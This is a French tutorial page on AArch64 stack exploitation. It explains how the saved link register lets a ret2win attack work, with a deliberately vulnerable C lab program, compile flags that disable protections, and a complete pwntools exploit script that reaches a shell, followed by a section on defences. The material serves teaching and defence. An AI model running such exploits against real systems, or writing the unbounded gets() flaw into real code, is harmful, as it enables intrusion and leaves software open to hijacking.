Aller au contenu

Exploitation ARM64 : le registre de lien et ret2win

Sur AArch64 l'adresse de retour vit dans un registre, pas sur la pile — jusqu'à ce qu'une fonction non-feuille la sauvegarde. Construisez le ret2win ARM.

Publié le 4 min de lecture

Ceci est le premier tutoriel de l'espace Exploitation ARM64. Tout ce que contient la série x86-64 — ret2win, ROP, ret2libc — possède un équivalent ARM, mais la mécanique diffère sur un point structurel qui façonne tout le reste : l'adresse de retour vit dans un registre. Ce guide construit le ret2win ARM et montre exactement où se trouve le registre de lien sauvegardé.

Votre propre binaire, labo jetable. Voir les règles du labo. Sur les hôtes x86, compilez de manière croisée et exécutez sous QEMU comme indiqué ci-dessus.

Le modèle de registres AArch64

Les arguments passent par x0–x7, la valeur de retour par x0. Les registres qui comptent pour le flot de contrôle :

RegistreRôle
x0–x7Arguments de fonction / valeur de retour
x19–x28Sauvegardés par l'appelé (préservés entre les appels)
x29Pointeur de cadre (fp)
x30Registre de lien (lr) — l'adresse de retour
spPointeur de pile (doit rester aligné sur 16 octets)
pcCompteur de programme

bl func positionne x30 = <adresse après le bl> puis branche. ret branche vers x30. Il n'y a aucune adresse de retour sur la pile — jusqu'à ce qu'une fonction ait besoin de faire ses propres appels.

Feuille vs non-feuille : où atterrit l'adresse de retour

Une fonction feuille n'appelle rien, donc elle ne modifie jamais x30 ; un débordement de tampon dans une telle fonction ne peut atteindre aucune adresse de retour sauvegardée (il n'y en a pas). Une fonction non-feuille doit préserver x30 pendant les appels qu'elle effectue : son prologue sauvegarde donc le pointeur de cadre et le registre de lien sur la pile :

stp  x29, x30, [sp, #-0x50]!   ; save fp + lr, allocate frame
...                            ; body, including local buffers
ldp  x29, x30, [sp], #0x50     ; restore fp + lr
ret                            ; branch to x30 (now attacker-controlled?)

Ce x30 sauvegardé se situe au-dessus des variables locales : un débordement l'écrase, et l'épilogue recharge la valeur corrompue directement dans x30 avant le ret :

Cadre de pile AArch64 d'une fonction non-feuille (croît vers les adresses basses)
  1. buf[64]tampon local où débute le débordement
    ◀ rsp
  2. saved x29pointeur de cadre
  3. saved x30 (lr)adresse de retour — la cible de l'écrasement
paddingvaluepointer

Écrasez le x30 sauvegardé, et après le ret le processeur saute où vous l'avez choisi.

La cible

/* vuln.c — AArch64. win() is never called; vuln() is non-leaf (calls puts/gets). */
#include <stdio.h>
#include <stdlib.h>

void win(void) {
    puts("[+] control-flow hijacked on AArch64");
    system("/bin/sh");
}

void vuln(void) {
    char buf[64];
    puts("Name?");
    gets(buf);                 /* the bug (CWE-121) */
    printf("Hello, %s\n", buf);
}

int main(void) { setvbuf(stdout, NULL, _IONBF, 0); vuln(); return 0; }

Compilez pour AArch64 avec les mitigations désactivées (pas de canari, pas de PIE et — crucial pour ARM — pas d'authentification de pointeur, traitée dans le guide 3) :

aarch64-linux-gnu-gcc -fno-stack-protector -no-pie \
  -mbranch-protection=none -O0 -g -o vuln vuln.c

Trouver le décalage et sauter vers win()

pwntools pilote QEMU et connaît la disposition AArch64. La méthode cyclique est inchangée, seul context.arch diffère :

# exploit.py
from pwn import *

context.binary = elf = ELF("./vuln")   # sets context.arch = 'aarch64'

# 1) offset to the saved lr
io = process(["qemu-aarch64", "-L", "/usr/aarch64-linux-gnu", "./vuln"])
io.sendlineafter(b"Name?\n", cyclic(200, n=8))
io.wait()
off = cyclic_find(io.corefile.read(io.corefile.sp, 8), n=8)
log.success("offset to saved lr: %d", off)   # 72 = 64 buf + 8 saved x29

# 2) overwrite the saved lr with win()
payload = flat({72: p64(elf.symbols["win"])})
io = process(["qemu-aarch64", "-L", "/usr/aarch64-linux-gnu", "./vuln"])
io.sendlineafter(b"Name?\n", payload)
io.interactive()
$ python3 exploit.py
[+] offset to saved lr: 72
[*] Switching to interactive mode
[+] control-flow hijacked on AArch64
$ id
uid=1000(lab) gid=1000(lab)

Le ldp de l'épilogue de vuln a chargé notre valeur dans x30 ; ret a branché vers win. Notez l'alignement strict de la pile sur 16 octets d'AArch64 : si win se comporte mal, assurez-vous que sp reste aligné — l'équivalent ARM du problème movaps de x86.

Réactiver les mitigations

MitigationEffet sur le ret2win ARM
Canari de pile (-fstack-protector-strong)Détecte le débordement avant que l'épilogue ne restaure x30
PIE + ASLRRend win() aléatoire ; un saut à l'aveugle nécessite une fuite
PAC (-mbranch-protection=pac-ret)Signe le x30 sauvegardé ; un retour falsifié échoue à l'authentification — voir le guide 3

PAC est la mitigation propre à ARM et la raison d'être de cet espace : sur un build compilé avec PAC, écraser le x30 sauvegardé ne suffit pas, car l'épilogue l'authentifie avant le ret.

Ce que cela apprend à un défenseur

  • « L'adresse de retour est dans un registre » n'est pas une mitigation. Cela ne protège que les fonctions feuilles. Toute fonction qui effectue un appel déverse lr sur la pile, où un débordement l'atteint. Ne supposez pas qu'AArch64 est intrinsèquement à l'abri du stack smashing.
  • Activez l'authentification de pointeur. -mbranch-protection=pac-ret (ou standard) est le drapeau au plus fort rendement sur ARM moderne, et il vise exactement cet écrasement. Vérifiez que votre build émet réellement paciasp/autiasp.
  • Le bug reste un unique gets non borné. L'architecture change la mécanique d'exploitation, pas la cause racine — bornez la copie, voir débordements de tampon de pile.

Points clés à retenir

  • AArch64 conserve l'adresse de retour dans x30 (lr) ; bl la positionne, ret y branche.
  • Les fonctions feuilles n'ont aucune adresse de retour sauvegardée à écraser ; les fonctions non-feuilles déversent x29/x30 sur la pile, où un débordement atteint le lr sauvegardé.
  • Le ret2win a la même forme que sur x86 : trouver le décalage, écraser le lr sauvegardé, sauter vers win() — attention à l'alignement de sp sur 16 octets.
  • Le canari, PIE et surtout PAC brisent chacun une étape différente ; PAC authentifie le lr sauvegardé avant le ret.

Suite : ROP sur ARM64, où les gadgets se terminent par ret et où la chaîne est enfilée à travers le registre de lien.

Guides associés

0x7000 · Techniques d'exploitation

one-gadget : une adresse vers un shell

Parfois vous ne contrôlez qu'un pointeur. Un one-gadget est une seule adresse libc qui appelle execve("/bin/sh") si ses contraintes tiennent.